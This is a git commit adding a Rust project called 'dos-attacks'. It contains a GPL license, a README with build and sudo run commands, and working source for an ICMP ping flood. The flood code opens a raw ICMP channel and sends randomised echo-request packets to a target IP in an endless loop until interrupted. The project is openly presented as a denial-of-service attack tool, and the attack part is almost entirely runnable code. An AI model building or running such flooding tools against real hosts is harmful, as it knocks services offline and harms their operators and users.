commit 102bf52801940a29803b8b52d13aa67f8482031a
Author: Cody Lewis <cody@codymlewis.com>
Date: Mon, 8 Jun 2020 10:51:11 +1000
Added ICMP flood
Diffstat:
| A | .gitignore | | | 3 | +++ |
| A | Cargo.lock | | | 434 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| A | Cargo.toml | | | 14 | ++++++++++++++ |
| A | LICENSE.md | | | 619 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| A | README.md | | | 18 | ++++++++++++++++++ |
| A | src/icmp_flood/mod.rs | | | 66 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| A | src/main.rs | | | 41 | +++++++++++++++++++++++++++++++++++++++++ |
7 files changed, 1195 insertions(+), 0 deletions(-)
diff --git a/.gitignore b/.gitignore
@@ -0,0 +1,3 @@
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diff --git a/Cargo.lock b/Cargo.lock
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diff --git a/LICENSE.md b/LICENSE.md
@@ -0,0 +1,619 @@
+### GNU GENERAL PUBLIC LICENSE
+
+Version 3, 29 June 2007
+
+Copyright (C) 2007 Free Software Foundation, Inc.
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+
+Everyone is permitted to copy and distribute verbatim copies of this
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+### Preamble
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diff --git a/README.md b/README.md
@@ -0,0 +1,18 @@
+# DoS Attacks
+Rust implementations of Denial of Service attacks, currently only the ICMP flood
+attack is implemented.
+
+## Requirements
+- Rust
+- Cargo
+
+## Build
+```sh
+cargo build
+```
+
+## Run
+You will probably need to run the resulting binary with sudo:
+```sh
+sudo ./target/debug/dos-attacks ping-flood 127.0.0.1
+```
diff --git a/src/icmp_flood/mod.rs b/src/icmp_flood/mod.rs
@@ -0,0 +1,66 @@
+// Copyright (C) 2020 Cody Lewis
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+
+extern crate rand;
+extern crate pnet;
+extern crate ctrlc;
+
+use std::net::IpAddr;
+use std::sync::atomic::{AtomicBool, Ordering};
+use std::sync::Arc;
+
+use rand::random;
+
+use pnet::packet::util;
+use pnet::packet::ip::IpNextHeaderProtocols;
+use pnet::packet::icmp::{echo_request, IcmpTypes};
+use pnet::transport::TransportChannelType::Layer4;
+use pnet::transport::TransportProtocol::Ipv4;
+use pnet::transport::transport_channel;
+use pnet::packet::Packet;
+
+/// Run the icmp ping flood attack
+pub fn run(address: &String) {
+ let protocol = Layer4(Ipv4(IpNextHeaderProtocols::Icmp));
+ let (mut tx, _) = match transport_channel(4096, protocol) {
+ Ok((tx, rx)) => (tx, rx),
+ Err(e) => panic!("Error creating the transport channel: {}", e),
+ };
+ let addr = match address.as_str().parse::<IpAddr>() {
+ Ok(s) => s,
+ Err(e) => panic!("Failed to parse address: {}", e),
+ };
+
+ let running = Arc::new(AtomicBool::new(true));
+ let r = running.clone();
+ ctrlc::set_handler(move || {
+ r.store(false, Ordering::SeqCst);
+ }).expect("Error setting CTRL+C handler");
+
+ while running.load(Ordering::SeqCst) {
+ let mut vec: Vec<u8> = vec![0; 64];
+ let mut packet = echo_request::MutableEchoRequestPacket::new(&mut vec[..]).unwrap();
+ packet.set_icmp_type(IcmpTypes::EchoRequest);
+ packet.set_sequence_number(random::<u16>());
+ packet.set_identifier(random::<u16>());
+ let csum = util::checksum(packet.packet(), 1);
+ packet.set_checksum(csum);
+ match tx.send_to(packet, addr) {
+ Ok(_) => print!("."),
+ Err(_) => print!("_"),
+ }
+ }
+}
diff --git a/src/main.rs b/src/main.rs
@@ -0,0 +1,41 @@
+// Copyright (C) 2020 Cody Lewis
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+extern crate pnet;
+
+use std::env;
+
+mod icmp_flood;
+
+fn main() {
+ println!("dos-attacks Copyright (C) 2020 Cody Lewis");
+ println!("This program comes with ABSOLUTELY NO WARRANTY.");
+ println!("This is free software, and you are welcome to redistribute it under certain conditions.");
+ println!();
+ let args: Vec<String> = env::args().collect();
+ if args.len() < 3 {
+ panic!("Not enough arguments");
+ }
+ let attack_name = &args[1];
+ let addr = &args[2];
+ run_attack(attack_name)(addr);
+}
+
+fn run_attack(attack: &String) -> Box<dyn Fn(&String)> {
+ match attack.as_str() {
+ "ping-flood" => Box::new(icmp_flood::run),
+ _ => return Box::new(move |a| panic!("No attack named {}", a)),
+ }
+}
